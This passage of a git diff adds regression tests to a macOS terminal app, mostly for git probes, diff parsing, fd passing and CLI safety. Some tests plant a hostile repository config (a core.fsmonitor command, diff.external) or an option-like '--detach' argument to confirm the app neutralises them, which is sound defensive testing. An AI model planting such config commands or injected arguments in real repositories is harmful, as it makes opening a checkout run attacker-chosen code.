SessionPersistenceTests.swift; sourceTree = ""; }; + BEEF5040A1B2C3D4E5F60004 /* ConfigFixSweepRegressionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ConfigFixSweepRegressionTests.swift; sourceTree = ""; }; + BEEF50200000000000000003 /* WorkspaceFixSweepWKSPRegressionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WorkspaceFixSweepWKSPRegressionTests.swift; sourceTree = ""; }; + BEEF5050000000000000A004 /* EscrowFDPassingRegressionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = EscrowFDPassingRegressionTests.swift; sourceTree = ""; }; RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RendererRealizationPlannerTests.swift; sourceTree = ""; }; D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionAutosaveCoordinatorTests.swift; sourceTree = ""; }; SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionWALCoreTests.swift; sourceTree = ""; }; @@ -1208,6 +1216,7 @@ B9000022A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift */, B9000019A1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift */, B9000026A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift */, + BEEF50100000000000000004 /* WindowCloseConfirmCancelUITests.swift */, B9000016A1B2C3D4E5F60719 /* MultiWindowNotificationsUITests.swift */, 818DBCD4AB69EB72573E8138 /* SidebarResizeUITests.swift */, B8F266256A1A3D9A45BD840F /* SidebarHelpMenuUITests.swift */, @@ -1230,6 +1239,9 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */, F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */, F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */, + BEEF5040A1B2C3D4E5F60004 /* ConfigFixSweepRegressionTests.swift */, + BEEF50200000000000000003 /* WorkspaceFixSweepWKSPRegressionTests.swift */, + BEEF5050000000000000A004 /* EscrowFDPassingRegressionTests.swift */, RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */, D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */, SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */, @@ -1673,6 +1685,7 @@ B900001AA1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift in Sources */, B9000023A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift in Sources */, B9000025A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift in Sources */, + BEEF50100000000000000003 /* WindowCloseConfirmCancelUITests.swift in Sources */, B9000015A1B2C3D4E5F60719 /* MultiWindowNotificationsUITests.swift in Sources */, B8F266236A1A3D9A45BD840F /* SidebarResizeUITests.swift in Sources */, B8F266246A1A3D9A45BD840F /* SidebarHelpMenuUITests.swift in Sources */, @@ -1695,6 +1708,9 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */, F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */, F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */, + BEEF5040A1B2C3D4E5F60003 /* ConfigFixSweepRegressionTests.swift in Sources */, + BEEF50200000000000000004 /* WorkspaceFixSweepWKSPRegressionTests.swift in Sources */, + BEEF5050000000000000A003 /* EscrowFDPassingRegressionTests.swift in Sources */, RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */, 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */, SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */, diff --git a/programaTests/ConfigFixSweepRegressionTests.swift b/programaTests/ConfigFixSweepRegressionTests.swift new file mode 100644 index 000000000..490cc4bb9 --- /dev/null +++ b/programaTests/ConfigFixSweepRegressionTests.swift @@ -0,0 +1,217 @@ +import XCTest + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Regression tests for the CONF (config, git, trust) fix cluster that only use APIs that +/// existed before the fixes, so they can be committed first and fail on the unfixed code. +/// +/// Every git repository lives in a test-owned temp directory that is removed in `tearDown`. +/// Repository config is only ever written inside those temp repos, never the real checkout. +final class ConfigFixSweepRegressionTests: XCTestCase { + private var tempRoot: URL! + private var originalPATH: String? + + override func setUpWithError() throws { + try super.setUpWithError() + let base = FileManager.default.temporaryDirectory + .appendingPathComponent("conf-regression-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: base, withIntermediateDirectories: true) + // Resolve /var -> /private/var so paths compare equal to what git prints. + tempRoot = base.resolvingSymlinksInPath() + + // Keep the probes network-free: a `gh` that answers `pr list` with no pull requests. + originalPATH = ProcessInfo.processInfo.environment["PATH"] + let binDir = tempRoot.appendingPathComponent("bin", isDirectory: true) + try FileManager.default.createDirectory(at: binDir, withIntermediateDirectories: true) + let ghStub = binDir.appendingPathComponent("gh") + try "#!/bin/sh\necho '[]'\nexit 0\n".write(to: ghStub, atomically: true, encoding: .utf8) + try FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: ghStub.path) + setenv("PATH", "\(binDir.path):\(originalPATH ?? "/usr/bin:/bin")", 1) + } + + override func tearDownWithError() throws { + if let originalPATH { setenv("PATH", originalPATH, 1) } + originalPATH = nil + try? FileManager.default.removeItem(at: tempRoot) + tempRoot = nil + try super.tearDownWithError() + } + + // MARK: - Fixture helpers + + @discardableResult + private func git(_ arguments: [String], in directory: URL) throws -> String { + let process = Process() + process.executableURL = URL(fileURLWithPath: "/usr/bin/git") + process.arguments = arguments + process.currentDirectoryURL = directory + var environment = ProcessInfo.processInfo.environment + environment["GIT_CONFIG_GLOBAL"] = "/dev/null" + environment["GIT_CONFIG_SYSTEM"] = "/dev/null" + environment["GIT_AUTHOR_NAME"] = "Conf Test" + environment["GIT_AUTHOR_EMAIL"] = "conf@example.invalid" + environment["GIT_COMMITTER_NAME"] = "Conf Test" + environment["GIT_COMMITTER_EMAIL"] = "conf@example.invalid" + process.environment = environment + let stdout = Pipe() + let stderr = Pipe() + process.standardOutput = stdout + process.standardError = stderr + try process.run() + let outData = stdout.fileHandleForReading.readDataToEndOfFile() + let errData = stderr.fileHandleForReading.readDataToEndOfFile() + process.waitUntilExit() + let output = String(decoding: outData, as: UTF8.self) + guard process.terminationStatus == 0 else { + throw NSError( + domain: "ConfigFixSweepRegressionTests", + code: Int(process.terminationStatus), + userInfo: [NSLocalizedDescriptionKey: + "git \(arguments.joined(separator: " ")) failed: \(String(decoding: errData, as: UTF8.self))"] + ) + } + return output + } + + /// A repo on `branch` with one commit containing `fileName`. + private func makeRepo(branch: String, fileName: String = "README.md", contents: String = "one\n") throws -> URL { + let repo = tempRoot.appendingPathComponent("repo-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: repo, withIntermediateDirectories: true) + try git(["init", "-q", "-b", branch], in: repo) + try contents.write(to: repo.appendingPathComponent(fileName), atomically: true, encoding: .utf8) + try git(["add", "."], in: repo) + try git(["commit", "-q", "-m", "init"], in: repo) + return repo + } + + // MARK: - CONF-01: repository config is untrusted input to automatic git probes + + /// A repository's `core.fsmonitor` names a command git runs on `status`. The sidebar probe + /// runs on whatever directory a terminal reports, so opening a hostile checkout must never + /// execute that command. + func testInitialGitMetadataProbeNeverRunsRepositoryFsmonitorCommand() throws { + let repo = try makeRepo(branch: "feature-x") + let marker = tempRoot.appendingPathComponent("fsmonitor-ran-probe") + // Configure last so none of the fixture's own git commands trip the hook. + try git(["config", "core.fsmonitor", "touch \(marker.path)"], in: repo) + + // Positive control: plain git does run the hook, so an absent marker below really means + // the probe neutralized it rather than that this git never runs it. + try git(["status", "--porcelain"], in: repo) + XCTAssertTrue( + FileManager.default.fileExists(atPath: marker.path), + "control: plain `git status` should execute the hostile core.fsmonitor command" + ) + try FileManager.default.removeItem(at: marker) + + let snapshot = GitMetadataProber.initialWorkspaceGitMetadataSnapshot(for: repo.path) + + XCTAssertEqual(snapshot.branch, "feature-x") + XCTAssertFalse( + FileManager.default.fileExists(atPath: marker.path), + "the sidebar git probe executed the repository's core.fsmonitor command" + ) + } + + func testWorktreeListingNeverRunsRepositoryFsmonitorCommand() throws { + let repo = try makeRepo(branch: "feature-x") + let marker = tempRoot.appendingPathComponent("fsmonitor-ran-worktrees") + try git(["config", "core.fsmonitor", "touch \(marker.path)"], in: repo) + + let entries = GitWorktreeManager.listWorktrees(repoRoot: repo.path) + + XCTAssertEqual(entries?.first?.path, repo.path) + XCTAssertEqual(entries?.first?.branch, "feature-x") + XCTAssertFalse( + FileManager.default.fileExists(atPath: marker.path), + "worktree listing executed the repository's core.fsmonitor command" + ) + } + + // MARK: - CONF-02: review diff survives hostile or surprising git config and non-ASCII paths + + /// `diff.external` would replace git's diff output with a program's, and `diff.noprefix` + /// changes the path prefixes the parser expects. Non-ASCII names must come back verbatim, + /// not as git's quoted octal form. + func testReviewDiffIgnoresDiffConfigAndKeepsNonASCIIPaths() throws { + let repo = try makeRepo(branch: "main", fileName: "café.md") + try "one\ntwo\n".write(to: repo.appendingPathComponent("café.md"), atomically: true, encoding: .utf8) + try "fresh\n".write(to: repo.appendingPathComponent("naïve.txt"), atomically: true, encoding: .utf8) + try git(["config", "diff.external", "/bin/false"], in: repo) + try git(["config", "diff.noprefix", "true"], in: repo) + + let snapshot = ReviewDiffProber.diffSnapshot(directory: repo.path, mode: .uncommitted, baseBranch: "main") + + XCTAssertNil(snapshot.error) + let tracked = snapshot.files.filter { $0.newPath == "café.md" } + XCTAssertEqual(tracked.count, 1, "files: \(snapshot.files.map(\.displayPath))") + XCTAssertGreaterThanOrEqual(tracked.first?.hunks.count ?? 0, 1) + XCTAssertTrue( + snapshot.files.contains { $0.displayPath == "naïve.txt" }, + "untracked non-ASCII file missing: \(snapshot.files.map(\.displayPath))" + ) + } + + // MARK: - CONF-03: trailing newline is not a context line + + func testDiffParserDoesNotTurnTrailingNewlineIntoContextLine() throws { + let diff = """ + diff --git a/f.txt b/f.txt + index 1111111..2222222 100644 + --- a/f.txt + +++ b/f.txt + @@ -1,2 +1,2 @@ + a + -b + +c + + """ + XCTAssertTrue(diff.hasSuffix("\n")) + + let files = ReviewDiffParser.parse(diff) + + let hunk = try XCTUnwrap(files.first?.hunks.last) + XCTAssertEqual(hunk.lines.count, 3) + let last = try XCTUnwrap(hunk.lines.last) + XCTAssertEqual(last.kind, .addition) + XCTAssertEqual(last.text, "c") + } + + // MARK: - CONF-06: JSONC comments end at any line terminator + + private func parsedJSONC(_ source: String) throws -> [String: Int]? { + let data = try JSONCParser.preprocess(data: Data(source.utf8)) + return try JSONSerialization.jsonObject(with: data) as? [String: Int] + } + + func testJSONCLineCommentEndsAtCRLF() throws { + XCTAssertEqual(try parsedJSONC("{\r\n // c\r\n \"a\": 1\r\n}"), ["a": 1]) + } + + func testJSONCLineCommentEndsAtBareCR() throws { + XCTAssertEqual(try parsedJSONC("{\r // c\r \"a\": 1\r}"), ["a": 1]) + } + + func testJSONCBlockCommentSpanningCRLF() throws { + XCTAssertEqual(try parsedJSONC("{\r\n /* one\r\n two */ \"a\": 1\r\n}"), ["a": 1]) + } + + // MARK: - CONF-14: a hostile base never leaves a worktree or branch behind + + func testWorktreeAddWithOptionLikeBaseFailsAndLeavesNothingBehind() throws { + let repo = try makeRepo(branch: "main") + let worktreePath = tempRoot.appendingPathComponent("wt-x").path + + let outcome = GitWorktreeManager.add(repoRoot: repo.path, branch: "x", base: "--detach", path: worktreePath) + + guard case .gitCommandFailed = outcome else { + return XCTFail("expected .gitCommandFailed for base \"--detach\", got \(outcome)") + } + XCTAssertFalse(GitWorktreeManager.branchExistsLocally("x", repoRoot: repo.path)) + XCTAssertFalse(FileManager.default.fileExists(atPath: worktreePath)) + } +} diff --git a/programaTests/EscrowFDPassingRegressionTests.swift b/programaTests/EscrowFDPassingRegressionTests.swift new file mode 100644 index 000000000..2b31bd6e2 --- /dev/null +++ b/programaTests/EscrowFDPassingRegressionTests.swift @@ -0,0 +1,130 @@ +import XCTest +import Darwin + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// SESS-01: a PTY master fd received over the escrow socket, or duplicated from the retained +/// registry, must be close-on-exec (a concurrent fork/exec must not inherit the master), and a +/// peer that attaches several fds must not leak the extras into this process. +/// +/// Every test closes every fd it opens. The sender side of a socketpair stays open until the +/// receive has completed (closing it right after sendmsg can hand the receiver a defunct fd +/// under load). +final class EscrowFDPassingRegressionTests: XCTestCase { + private var openedFDs: [Int32] = [] + + override func tearDown() { + for fd in openedFDs where fcntl(fd, F_GETFD) != -1 { close(fd) } + openedFDs.removeAll() + super.tearDown() + } + + private func track(_ fd: Int32) -> Int32 { + openedFDs.append(fd) + return fd + } + + private func makeSocketPair() throws -> (Int32, Int32) { + var fds: [Int32] = [-1, -1] + XCTAssertEqual(socketpair(AF_UNIX, SOCK_STREAM, 0, &fds), 0) + guard fds[0] >= 0, fds[1] >= 0 else { throw XCTSkip("socketpair unavailable") } + return (track(fds[0]), track(fds[1])) + } + + private func makePipe() throws -> (read: Int32, write: Int32) { + var fds: [Int32] = [-1, -1] + XCTAssertEqual(pipe(&fds), 0) + guard fds[0] >= 0, fds[1] >= 0 else { throw XCTSkip("pipe unavailable") } + return (track(fds[0]), track(fds[1])) + } + + /// Bounded probe, never lsof. + private func openFDCount(limit: Int32 = 1024) -> Int { + (0.. Bool { + let flags = fcntl(fd, F_GETFD) + return flags != -1 && (flags & FD_CLOEXEC) != 0 + } + + /// One sendmsg carrying every fd in `fds` as a single SCM_RIGHTS message. + private func sendRaw(fds: [Int32], payload: [UInt8], over socketFD: Int32) -> Bool { + var payload = payload + return payload.withUnsafeMutableBytes { raw -> Bool in + var iov = iovec(iov_base: raw.baseAddress, iov_len: raw.count) + let space = CMSG_SPACE_COMPAT(fds.count * MemoryLayout.size) + var control = [UInt8](repeating: 0, count: space) + return control.withUnsafeMutableBytes { controlRaw -> Bool in + var msg = msghdr() + msg.msg_iov = withUnsafeMutablePointer(to: &iov) { $0 } + msg.msg_iovlen = 1 + msg.msg_control = controlRaw.baseAddress + msg.msg_controllen = socklen_t(space) + let cmsg = controlRaw.baseAddress!.assumingMemoryBound(to: cmsghdr.self) + cmsg.pointee.cmsg_level = SOL_SOCKET + cmsg.pointee.cmsg_type = SCM_RIGHTS + cmsg.pointee.cmsg_len = socklen_t(CMSG_LEN_COMPAT(fds.count * MemoryLayout.size)) + let dataPtr = controlRaw.baseAddress!.advanced(by: CMSG_LEN_COMPAT(0)) + fds.withUnsafeBytes { dataPtr.copyMemory(from: $0.baseAddress!, byteCount: $0.count) } + return sendmsg(socketFD, &msg, 0) == raw.count + } + } + } + + private func CMSG_LEN_COMPAT(_ length: Int) -> Int { 12 + length } + private func CMSG_SPACE_COMPAT(_ length: Int) -> Int { 12 + ((length + 3) & ~3) } + + func testReceivedDescriptorIsCloseOnExec() throws { + let (sender, receiver) = try makeSocketPair() + let pipeEnds = try makePipe() + XCTAssertTrue(UnixDomainFDPassing.send(fd: pipeEnds.read, payload: Data([0x01]), over: sender)) + guard case .data(let bytes, let received?) = UnixDomainFDPassing.receiveChunk(maxBytes: 8, from: receiver) else { + return XCTFail("expected one byte with an attached fd") + } + _ = track(received) + XCTAssertEqual(bytes, Data([0x01])) + XCTAssertTrue(isCloseOnExec(received), "a received PTY master must not be inherited by a concurrent exec") + } + + func testRetainedDescriptorDuplicateIsCloseOnExec() throws { + let pipeEnds = try makePipe() + // Ownership of the read end moves to the registry; releaseAfterOwnershipTransfer closes it. + let master = fcntl(pipeEnds.read, F_DUPFD, 0) + XCTAssertGreaterThanOrEqual(master, 0) + let owner = SessionEscrowRetainedDescriptor.retain( + sessionId: UUID().uuidString, masterFD: master, childPID: 0, + tokenHex: String(repeating: "ab", count: 32), socketPath: "/tmp/programa-sess01-unused.sock", + recoveryPending: false + ) + defer { owner.releaseAfterOwnershipTransfer() } + guard let copy = owner.duplicate() else { return XCTFail("duplicate returned nil") } + _ = track(copy) + XCTAssertNotEqual(copy, master) + XCTAssertTrue(isCloseOnExec(copy), "the duplicate handed to a holder must not leak into spawned children") + } + + func testPeerAttachingTwoDescriptorsLeaksNeitherExtra() throws { + let (sender, receiver) = try makeSocketPair() + let a = try makePipe() + let b = try makePipe() + XCTAssertTrue(sendRaw(fds: [a.read, b.read], payload: [0x02], over: sender)) + + let before = openFDCount() + let result = UnixDomainFDPassing.receiveChunk(maxBytes: 8, from: receiver) + let after = openFDCount() + + guard case .data(_, let received?) = result else { + // A refused frame is also acceptable, but nothing may have leaked. + XCTAssertEqual(after, before, "a rejected two-fd message must not leave fds installed") + return + } + _ = track(received) + XCTAssertEqual(after - before, 1, "exactly one received fd may remain open") + XCTAssertTrue(isCloseOnExec(received)) + } +} diff --git a/programaTests/WorkspaceFixSweepWKSPRegressionTests.swift b/programaTests/WorkspaceFixSweepWKSPRegressionTests.swift new file mode 100644 index 000000000..23511223e --- /dev/null +++ b/programaTests/WorkspaceFixSweepWKSPRegressionTests.swift @@ -0,0 +1,50 @@ +import XCTest + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Red-first regressions for the workspace fix sweep: each test uses only APIs that exist on the +/// pre-fix base commit and fails there. +@MainActor +final class WorkspaceFixSweepWKSPRegressionTests: XCTestCase { + /// A closed agent pane must not leave a phantom "Needs input" badge on the workspace row. + func testPermanentCloseClearsAgentPresenceAndSidebarBadge() throws { + let workspace = Workspace() + defer { workspace.teardownAllPanels() } + let keep = try XCTUnwrap(workspace.focusedPanelId) + let agentPanel = try XCTUnwrap(workspace.newTerminalSurfaceInFocusedPane(focus: false)).id + workspace.updatePanelAgentState(panelId: agentPanel, state: .blocked, source: .hooks) + XCTAssertNotNil(SidebarAgentIndicator.make(for: workspace)) + + XCTAssertTrue(workspace.closePanel(agentPanel, force: true)) + + XCTAssertNil(workspace.panelAgentPresence[agentPanel]) + XCTAssertNil(SidebarAgentIndicator.make(for: workspace)) + XCTAssertNotNil(workspace.panels[keep]) + } + + /// Two working agents: the stale flag must come from the freshest report, not from whichever + /// presence the dictionary happens to iterate last. Repeated over many UUID pairs so every + /// hash order is exercised. + func testEqualSeverityStaleFlagFollowsFreshestReportRegardlessOfOrder() { + let now = Date() + for _ in 0..<64 { + let workspace = Workspace() + defer { workspace.teardownAllPanels() } + let fresh = UUID() + let old = UUID() + workspace.panelAgentPresence = [ + fresh: AgentPresence(state: .working, source: .hooks, lastEventAt: now), + old: AgentPresence( + state: .working, + source: .hooks, + lastEventAt: now.addingTimeInterval(-AgentPresence.staleThreshold - 60) + ), + ] + XCTAssertEqual(SidebarAgentIndicator.make(for: workspace, now: now)?.isStale, false) + } + } +} diff --git a/programaUITests/WindowCloseConfirmCancelUITests.swift b/programaUITests/WindowCloseConfirmCancelUITests.swift new file mode 100644 index 000000000..2b80d4cb6 --- /dev/null +++ b/programaUITests/WindowCloseConfirmCancelUITests.swift @@ -0,0 +1,95 @@ +import XCTest + +/// SHEL-03: closing a window that has a running process asks exactly once, and Cancel keeps the window. +/// Covers the red close button and Ctrl+Cmd+W on the launch window and on a New Window window. +final class WindowCloseConfirmCancelUITests: XCTestCase { + override func setUp() { + super.setUp() + continueAfterFailure = false + } + + func testRedButtonCancelKeepsLaunchWindow() { + let app = launchWithRunningProcess() + closeAndCancel(app: app, window: app.windows.firstMatch, useNativeButton: true) + } + + func testCloseShortcutCancelKeepsLaunchWindow() { + let app = launchWithRunningProcess() + closeAndCancel(app: app, window: app.windows.firstMatch, useNativeButton: false) + } + + func testRedButtonCancelKeepsNewWindow() { + let app = launchWithRunningProcess() + let newWindow = openNewWindowWithRunningProcess(app: app) + closeAndCancel(app: app, window: newWindow, useNativeButton: true) + } + + func testCloseShortcutCancelKeepsNewWindow() { + let app = launchWithRunningProcess() + let newWindow = openNewWindowWithRunningProcess(app: app) + closeAndCancel(app: app, window: newWindow, useNativeButton: false) + } + + // MARK: - Helpers + + private func launchWithRunningProcess() -> XCUIApplication { + let app = XCUIApplication() + app.launchEnvironment["PROGRAMA_TAG"] = "ui-tests-close-cancel-\(UUID().uuidString.prefix(8).lowercased())" + app.launch() + if !app.wait(for: .runningForeground, timeout: 12) { app.activate() } + XCTAssertTrue(app.wait(for: .runningForeground, timeout: 6)) + XCTAssertTrue(app.windows.firstMatch.waitForExistence(timeout: 5)) + startSleep(app: app) + return app + } + + private func openNewWindowWithRunningProcess(app: XCUIApplication) -> XCUIElement { + let before = app.windows.count + app.typeKey("n", modifierFlags: [.command, .shift]) + XCTAssertTrue(waitUntil { app.windows.count == before + 1 }, "New Window should add a window") + let newWindow = app.windows.firstMatch + startSleep(app: app) + return newWindow + } + + private func startSleep(app: XCUIApplication) { + app.typeText("sleep 100") + app.typeKey(.return, modifierFlags: []) + // Shell integration needs a moment to report the running command. + Thread.sleep(forTimeInterval: 1.5) + } + + private func closeAndCancel(app: XCUIApplication, window: XCUIElement, useNativeButton: Bool) { + let windowCount = app.windows.count + if useNativeButton { + window.buttons[XCUIIdentifierCloseWindow].click() + } else { + app.typeKey("w", modifierFlags: [.command, .control]) + } + + let cancel = app.dialogs.buttons["Cancel"].exists ? app.dialogs.buttons["Cancel"] : app.sheets.buttons["Cancel"] + let appeared = waitUntil { app.dialogs.buttons["Cancel"].exists || app.sheets.buttons["Cancel"].exists || app.alerts.buttons["Cancel"].exists } + XCTAssertTrue(appeared, "Closing a window with a running process must ask for confirmation") + XCTAssertEqual(app.staticTexts.matching(identifier: "Close window?").count, 1, "Exactly one dialog per close request") + + let target = cancel.exists ? cancel : app.alerts.buttons["Cancel"] + target.firstMatch.click() + + XCTAssertTrue(waitUntil { !app.dialogs.buttons["Cancel"].exists && !app.sheets.buttons["Cancel"].exists && !app.alerts.buttons["Cancel"].exists }) + Thread.sleep(forTimeInterval: 1.0) + XCTAssertEqual(app.windows.count, windowCount, "Cancel must keep the window") + XCTAssertFalse(app.dialogs.buttons["Cancel"].exists, "Cancel must not re-prompt") + + let attachment = XCTAttachment(screenshot: app.screenshot()) + attachment.name = "Window kept after Cancel" + attachment.lifetime = .keepAlways + add(attachment) + } + + private func waitUntil(_ condition: @escaping () -> Bool) -> Bool { + let expectation = XCTNSPredicateExpectation( + predicate: NSPredicate { _, _ in condition() }, object: NSObject() + ) + return XCTWaiter().wait(for: [expectation], timeout: 10) == .completed + } +} diff --git a/tests/test_cli_noninteractive_install_regression.py b/tests/test_cli_noninteractive_install_regression.py new file mode 100644 index 000000000..7541de091 --- /dev/null +++ b/tests/test_cli_noninteractive_install_regression.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python3 +"""Regression (CLIX-10): integration installers never apply or abort silently without consent. + +`programa install-integration` used to exit 0 after "Aborted." when +stdin was not a terminal and no --yes was given, so a script or agent mistook a skipped install +for a successful one. The contract: without --yes/-y and without a TTY the command exits 1, +says "pass --yes" on stderr and leaves the filesystem untouched; --yes and -y both apply. + +Runs the built CLI under a temporary HOME. No socket and no app are involved. +""" + +from __future__ import annotations + +import os +import subprocess +import tempfile +import unittest +from pathlib import Path + +CLI_PATH = os.environ.get("PROGRAMA_CLI_BIN", "") +PROVIDERS = ("claude", "codex", "opencode") +STRIPPED_ENV = ( + "PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID", + "PROGRAMA_SOCKET", "PROGRAMA_SOCKET_PATH", "CLAUDE_CONFIG_DIR", "CODEX_HOME", + "OPENCODE_CONFIG_DIR", "XDG_CONFIG_HOME", +) + + +def run_install(home: str, provider: str, extra: list[str]) -> subprocess.CompletedProcess[str]: + env = dict(os.environ) + for key in STRIPPED_ENV: + env.pop(key, None) + sock = os.path.join(home, "no-such.sock") + env.update(HOME=home, CFFIXED_USER_HOME=home, PROGRAMA_SOCKET=sock, PROGRAMA_SOCKET_PATH=sock) + return subprocess.run( + [CLI_PATH, provider, "install-integration", *extra], + stdin=subprocess.DEVNULL, capture_output=True, text=True, check=False, timeout=30, env=env, + ) + + +def files_under(home: str) -> list[str]: + return sorted(str(p.relative_to(home)) for p in Path(home).rglob("*") if p.is_file()) + + +class NonInteractiveInstallTests(unittest.TestCase): + def setUp(self) -> None: + self.assertTrue(CLI_PATH and os.access(CLI_PATH, os.X_OK), "PROGRAMA_CLI_BIN must point to the built CLI") + + def test_without_consent_exits_one_and_writes_nothing(self) -> None: + for provider in PROVIDERS: + with self.subTest(provider=provider), tempfile.TemporaryDirectory(prefix="pcli-home-", dir="/tmp") as home: + proc = run_install(home, provider, []) + self.assertEqual(proc.returncode, 1, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertIn("pass --yes", proc.stderr) + self.assertEqual(files_under(home), [], "an unconfirmed install must not create files") + + def test_yes_and_short_flag_both_apply(self) -> None: + for provider in PROVIDERS: + for flag in ("--yes", "-y"): + with self.subTest(provider=provider, flag=flag), tempfile.TemporaryDirectory(prefix="pcli-home-", dir="/tmp") as home: + proc = run_install(home, provider, [flag]) + self.assertEqual(proc.returncode, 0, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertNotEqual(files_under(home), [], "--yes/-y must apply the install") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_cli_socket_no_autodiscovery_regression.py b/tests/test_cli_socket_no_autodiscovery_regression.py new file mode 100644 index 000000000..7c4233f6e --- /dev/null +++ b/tests/test_cli_socket_no_autodiscovery_regression.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python3 +"""Regression (CLIX-18): the CLI never auto-selects another live Programa instance. + +With no PROGRAMA_SOCKET / PROGRAMA_SOCKET_PATH and nothing listening at the stable +default, `programa ping` used to fall through to any live tagged, debug or staging socket, +so a command meant for the user's app silently landed in a different build. It must not +send them a request and must name them on stderr so the caller can opt in explicitly. + +Stand-ins: a uniquely named /tmp/programa-clix18-*.sock (found by tagged-socket discovery) +always, and /tmp/programa-staging.sock only when that path is free (a real staging socket +is never touched). The test skips if a legacy /tmp/programa.sock exists, because that is a +legitimate implicit default and would answer instead. +""" + +from __future__ import annotations + +import os +import socket +import subprocess +import tempfile +import threading +import unittest +import uuid + +CLI_PATH = os.environ.get("PROGRAMA_CLI_BIN", "") +STAGING = "/tmp/programa-staging.sock" +LEGACY_DEFAULT = "/tmp/programa.sock" + + +class StandInListener: + """Answers every request with pong and records what it was sent.""" + + def __init__(self, path: str): + self.path = path + self.requests: list[bytes] = [] + self._stop = threading.Event() + self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + self._sock.bind(path) + self._sock.listen(8) + self._sock.settimeout(0.05) + self._thread = threading.Thread(target=self._serve, daemon=True) + self._workers: list[threading.Thread] = [] + + def _serve(self) -> None: + while not self._stop.is_set(): + try: + conn, _ = self._sock.accept() + except socket.timeout: + continue + except OSError: + return + worker = threading.Thread(target=self._handle, args=(conn,), daemon=True) + self._workers.append(worker) + worker.start() + + def _handle(self, conn: socket.socket) -> None: + conn.settimeout(0.2) + pending = b"" + try: + while not self._stop.is_set(): + try: + chunk = conn.recv(4096) + except socket.timeout: + continue + if not chunk: + return + pending += chunk + while b"\n" in pending: + line, pending = pending.split(b"\n", 1) + self.requests.append(line) + conn.sendall(b'{"id":"1","ok":true,"result":{"pong":true}}\n') + except OSError: + pass + finally: + conn.close() + + def __enter__(self) -> "StandInListener": + self._thread.start() + return self + + def __exit__(self, *_exc: object) -> None: + self._stop.set() + self._sock.close() + self._thread.join(timeout=2.0) + for worker in self._workers: + worker.join(timeout=2.0) + try: + os.unlink(self.path) + except FileNotFoundError: + pass + + +class NoAutodiscoveryTests(unittest.TestCase): + def setUp(self) -> None: + self.assertTrue(CLI_PATH and os.access(CLI_PATH, os.X_OK), "PROGRAMA_CLI_BIN must point to the built CLI") + if os.path.exists(LEGACY_DEFAULT): + self.skipTest(f"{LEGACY_DEFAULT} exists and would legitimately answer as the implicit default") + + def ping_without_socket_env(self) -> subprocess.CompletedProcess[str]: + with tempfile.TemporaryDirectory(prefix="pcli-home-", dir="/tmp") as home: + env = {k: v for k, v in os.environ.items() + if not k.startswith("PROGRAMA_") and k not in ("CMUX_SOCKET_PATH",)} + env.update(HOME=home, CFFIXED_USER_HOME=home) + return subprocess.run([CLI_PATH, "ping"], stdin=subprocess.DEVNULL, capture_output=True, + text=True, check=False, timeout=20, env=env) + + def test_tagged_socket_is_named_not_used(self) -> None: + path = f"/tmp/programa-clix18-{uuid.uuid4().hex[:8]}.sock" + with StandInListener(path) as listener: + proc = self.ping_without_socket_env() + self.assertNotEqual(proc.returncode, 0, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertNotIn("pong", proc.stdout.lower()) + self.assertIn(path, proc.stderr, "stderr must name the live socket the CLI refused to use") + self.assertEqual(listener.requests, [], "no request may be sent to another instance") + + def test_staging_socket_is_named_not_used(self) -> None: + if os.path.exists(STAGING): + self.skipTest(f"{STAGING} exists; never clobber a real staging socket") + with StandInListener(STAGING) as listener: + proc = self.ping_without_socket_env() + self.assertNotEqual(proc.returncode, 0, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertNotIn("pong", proc.stdout.lower()) + self.assertIn(STAGING, proc.stderr) + self.assertEqual(listener.requests, [], "no request may be sent to another instance") + + +if 